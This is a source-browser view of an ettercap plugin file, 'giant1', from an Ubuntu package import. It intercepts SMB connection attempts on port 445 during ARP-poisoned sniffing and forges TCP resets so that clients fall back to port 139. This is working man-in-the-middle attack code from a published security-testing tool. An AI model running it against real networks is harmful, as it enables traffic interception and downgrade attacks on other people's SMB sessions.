~ubuntu-branches/ubuntu/precise/ettercap/precise

« back to all changes in this revision

Viewing changes to plugins/H12_giant1/H12_giant1.c

  • Committer: Bazaar Package Importer
  • Author(s): Murat Demirten
  • Date: 2003-06-21 19:57:18 UTC
  • Revision ID: james.westby@ubuntu.com-20030621195718-qqbbfk18e1djchd9
Tags: upstream-0.6.b
ImportĀ upstreamĀ versionĀ 0.6.b

Show diffs side-by-side

added added

removed removed

Lines of Context:
 
1
/*
 
2
    giant1 -- ettercap plugin -- SMB forcer
 
3
 
 
4
    Copyright (C) 2003  ALoR <alor@users.sourceforge.net>, NaGA <crwm@freemail.it>
 
5
 
 
6
    This program is free software; you can redistribute it and/or modify
 
7
    it under the terms of the GNU General Public License as published by
 
8
    the Free Software Foundation; either version 2 of the License, or
 
9
    (at your option) any later version.
 
10
 
 
11
    This program is distributed in the hope that it will be useful,
 
12
    but WITHOUT ANY WARRANTY; without even the implied warranty of
 
13
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 
14
    GNU General Public License for more details.
 
15
 
 
16
    You should have received a copy of the GNU General Public License
 
17
    along with this program; if not, write to the Free Software
 
18
    Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
 
19
*/
 
20
 
 
21
#include "../../src/include/ec_main.h"
 
22
#include "../../src/include/ec_version.h"
 
23
#include "../../src/include/ec_plugins.h"
 
24
#include "../../src/include/ec_inet_structures.h"
 
25
#include "../../src/include/ec_inet.h"
 
26
#include "../../src/include/ec_inet_forge.h"
 
27
#include "../../src/include/ec_error.h"
 
28
 
 
29
int sock, MTU;
 
30
char MyMAC[6];
 
31
char *buf;
 
32
 
 
33
// protos...
 
34
 
 
35
int Plugin_Init(void *);
 
36
int Plugin_Fini(void *);
 
37
int Parse_Packet(void *buffer);
 
38
 
 
39
// plugin operation
 
40
 
 
41
struct plugin_ops giant1_ops = {
 
42
   ettercap_version: VERSION,
 
43
   plug_info:        "SMB: Force port 139",
 
44
   plug_version:     13,
 
45
   plug_type:        PT_HOOK,
 
46
   hook_point:       PCK_RECEIVED_RAW,
 
47
   hook_function:    &Parse_Packet,
 
48
};
 
49
 
 
50
//==================================
 
51
 
 
52
int Plugin_Init(void *params)
 
53
{
 
54
   sock = Inet_OpenRawSock(Options.netiface);
 
55
   Inet_GetIfaceInfo(Options.netiface, &MTU, MyMAC, NULL, NULL);
 
56
   buf = Inet_Forge_packet(MTU);
 
57
   return Plugin_Register(params, &giant1_ops);
 
58
}
 
59
 
 
60
int Plugin_Fini(void *params)
 
61
{
 
62
   Inet_Forge_packet_destroy( buf );
 
63
   Inet_CloseRawSock(sock);
 
64
   return 0;
 
65
}
 
66
 
 
67
// =================================
 
68
 
 
69
int Parse_Packet(void *buffer)
 
70
{
 
71
 
 
72
   ETH_header *eth;
 
73
   IP_header  *ip;
 
74
   TCP_header *tcp;
 
75
   RAW_PACKET *pck_raw;
 
76
   static int flag=0;
 
77
 
 
78
   pck_raw = (RAW_PACKET *)buffer;
 
79
   eth = (ETH_header *) pck_raw->buffer;
 
80
 
 
81
   if (!Options.arpsniff && !flag)
 
82
   {
 
83
      Plugin_Hook_Output("You have to use arpsniff to summon giant1...\n");
 
84
      flag=1;
 
85
   }
 
86
 
 
87
   if (eth->type == htons(ETH_P_IP) && Options.arpsniff)
 
88
   {
 
89
      ip = (IP_header *)(eth+1);
 
90
      if ( ip->proto == IPPROTO_TCP )
 
91
      {
 
92
         tcp = (TCP_header *) ((int)ip + ip->h_len * 4);
 
93
 
 
94
         if ( (tcp->dest==htons(445)) && (tcp->flags & TH_SYN) )
 
95
         {
 
96
            struct in_addr addr_source;
 
97
            struct in_addr addr_dest;
 
98
 
 
99
            addr_dest.s_addr = ip->dest_ip;
 
100
            addr_source.s_addr = ip->source_ip;
 
101
 
 
102
            Plugin_Hook_Output("Port 445 between %s and ", inet_ntoa(addr_source));
 
103
            Plugin_Hook_Output("%s: stopped\n", inet_ntoa(addr_dest));
 
104
 
 
105
            Inet_Forge_ethernet(buf, MyMAC, eth->source_mac, ETH_P_IP);
 
106
            Inet_Forge_ip(buf + ETH_HEADER, ip->dest_ip, ip->source_ip, TCP_HEADER, 0xe77e, 0, IPPROTO_TCP);
 
107
            Inet_Forge_tcp(buf + ETH_HEADER + IP_HEADER, ntohs(tcp->dest), ntohs(tcp->source), 0, ntohl(tcp->seq)+1, TH_RST, 0, 0);
 
108
            
 
109
            Inet_SendRawPacket(sock, buf, ETH_HEADER+IP_HEADER+TCP_HEADER);
 
110
            *(pck_raw->len)=0;
 
111
         }
 
112
      }
 
113
   }
 
114
   return 0;
 
115
}
 
116
 
 
117
 
 
118
/* EOF */
 
119
 
 
120
// vim:ts=3:expandtab